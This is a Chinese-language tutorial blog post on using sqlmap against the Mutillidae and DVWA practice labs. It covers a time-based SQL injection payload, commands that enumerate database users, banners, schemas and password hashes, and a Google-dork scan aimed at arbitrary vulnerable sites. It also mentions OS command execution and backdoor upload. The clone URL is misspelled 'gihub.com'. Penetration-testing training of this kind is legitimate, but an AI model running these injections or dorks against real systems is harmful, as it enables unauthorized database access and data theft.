SQLMAP- 自动注入

SQLmap是一款用来检测与利用SQL注入漏洞的基于python2.7开发的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令)。
SQLMAP- 自动注入_第1张图片
基于布尔的盲注检测
基于时间的盲注检测
‘and (select * from (select(sleep(20)))a)–+
基于错误的检测
基于UNION联合查询的检测
适用于通过循坏直接输出联合查询结果,否则只显示第一项结果
基于堆叠查询的检测
;堆叠多个查询语句
适用于非select的数据修改、删除的操作
支持的数据库管理系统DBMS
MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,
Firebird,Sybase,SAP MaxDB
SQLMAP- 自动注入_第2张图片
SQLMAP- 自动注入_第3张图片
等待20秒,确认服务器执行该代码,提供一个判断依据;
SQLMAP- 自动注入_第4张图片
数据库直接连接-d
不通过SQL注入,制定身份证信息、IP、端口
与burpustie、google结合适用,支持政策表达式限定测试目标
Get、post、cookie、Referer、User-Agent(随机或指定)
Cookie过期后自动处理Set-Cookie头,更新cookie信息
限速:最大并发、延迟发送
支持Basic,Digest,NTLM,CA身份认证
数据库版本、用户、权限、hash枚举和字典破解、暴力破解表列名称
文件上传下载、UDF、启动并执行存储过程、操作系统命令执行、访问windows注册表
与w3af、metasploit集成结合适用,基于数据库服务进程提权和上传执行后门
SQLMAP- 自动注入_第5张图片

root@R:~# sqlmap --update

root@R:~# sqlmap --version      //查看sqlmap版本

root@R:~# git clone https://gihub.com/sqlmapproject/sqlmap.git sqlmap-dev

安装
apt-get install git
git clone https://gihub.com/sqlmapproject/sqlmap.git sqlmap-dev
升级
sqlmap –update 在线
git pull 离线
Kali集成板随kali库更新
我们可以sqlmap –version 看一下版本;

SQLmap命令选项被归类为目标(Target)选项、请求(Request)选项、优化、注入、检测、技巧(Techniques)、指纹、枚举等。

我们可以使用sqlmap -h 或者是sqlmap -hh(详细)来看一下sqlmap的帮助
SQLMAP- 自动注入_第6张图片
target 指定目标
SQLMAP- 自动注入_第7张图片
-d直接连接数据库的侦听端口;
-u指定一个url
-l 使用日志文件;
-x 站点地图,以xml的文件形式提交给sqlmap;
-m 如果有多个url,可以保存成一个文本文件来交给sqlmap;
-r http请求信息保存成文件来读取请求内容;
-g 谷歌来搜索url;
-c 可以让sqlmap执行的每个命令保存成配置文件,然后按文件的步骤来;
SQLMAP- 自动注入_第8张图片

Get方法
        sqlmap -u "http://192.168.20.10/muilldae/index.php?page=user-
        info.php&username=11&password=22&user-info-php-submit-
        button=View+Account+Details" -p username -f
    扫描URL列表文件
        http://1.1.1.1/vuln.php?q=foobar
        http://1.1.1.1/vuln3/id/1*
        sqlmap -m list.txt
    扫描google搜索结果
        sqlmap.py -g "inurl:\".php?id=1\""

SQLMAP- 自动注入_第9张图片
我们用mutillidae来做这个测试;
SQLMAP- 自动注入_第10张图片
SQLMAP- 自动注入_第11张图片
SQLMAP- 自动注入_第12张图片

root@R:~# sqlmap -u "http://192.168.20.10/muilldae/index.php?page=user-info.php&username=11&password=22&user-info-php-submit-button=View+Account+Details" -p username -f

-p #指定可测试的参数(?page=1&id=2 -p “page,id”)
-f #指纹判别数据库类型 ,也就是fingerprint;
SQLMAP- 自动注入_第13张图片
SQLMAP- 自动注入_第14张图片
文件保存在/root/.sqlmap/output

root@R:~# cd .sqlmap/

root@R:~/.sqlmap# ls
output

root@R:~/.sqlmap# cd output/

root@R:~/.sqlmap/output# ls
192.168.1.121

root@R:~/.sqlmap/output# cd 192.168.1.121

root@R:~/.sqlmap/output/192.168.1.121# ls
log  session.sqlite  target.txt

root@R:~/.sqlmap/output/192.168.1.121# more log
root@R:~/.sqlmap/output/192.168.1.121# more session.sqlite
(sqlite数据库)
root@R:~/.sqlmap/output/192.168.1.121# more  target.txt

log的内容
SQLMAP- 自动注入_第15张图片
其他两个日志文件;
SQLMAP- 自动注入_第16张图片

root@R:~# sqlmap -u "http://192.168.20.10/muilldae/index.php?page=user-info.php&username=11&password=22&user-info-php-submit-button=View+Account+Details" -p username --users

列数据库所有用户;
SQLMAP- 自动注入_第17张图片

root@R:~# sqlmap -u "http://192.168.20.10/muilldae/index.php?page=user-info.php&username=11&password=22&user-info-php-submit-button=View+Account+Details" -p username --banner

数据库的bannerx信息;
SQLMAP- 自动注入_第18张图片

root@R:~# sqlmap -u "http://192.168.20.10/muilldae/index.php?page=user-info.php&username=11&password=22&user-info-php-submit-button=View+Account+Details" -p username --dbs

–dbs #列出所有数据库
SQLMAP- 自动注入_第19张图片

root@R:~# sqlmap -u "http://192.168.20.10/muilldae/index.php?page=user-info.php&username=11&password=22&user-info-php-submit-button=View+Account+Details" -p username --schema -a

–schema查询数据库里的原数据
-a 是all
SQLMAP- 自动注入_第20张图片
SQLMAP- 自动注入_第21张图片
哈希值破解
SQLMAP- 自动注入_第22张图片

root@R:~# sqlmap -d "mysql://[email protected]:3306/dvwa" -f --users

知道账号密码登录mysql客户端;
SQLMAP- 自动注入_第23张图片
通过数据库客户端比sqlmap注入得到信息快得多
对多个url地址进行扫描;

root@R:~# sqlmap -m list.txt --dbs

root@R:~# sqlmap -m list.txt --user

SQLMAP- 自动注入_第24张图片
post提交-u方法不行。
SQLMAP- 自动注入_第25张图片
SQLMAP- 自动注入_第26张图片
复制,粘贴,保存
SQLMAP- 自动注入_第27张图片
SQLMAP- 自动注入_第28张图片
SQLMAP- 自动注入_第29张图片
配置文件
SQLMAP- 自动注入_第30张图片

你可能感兴趣的:(渗透测试)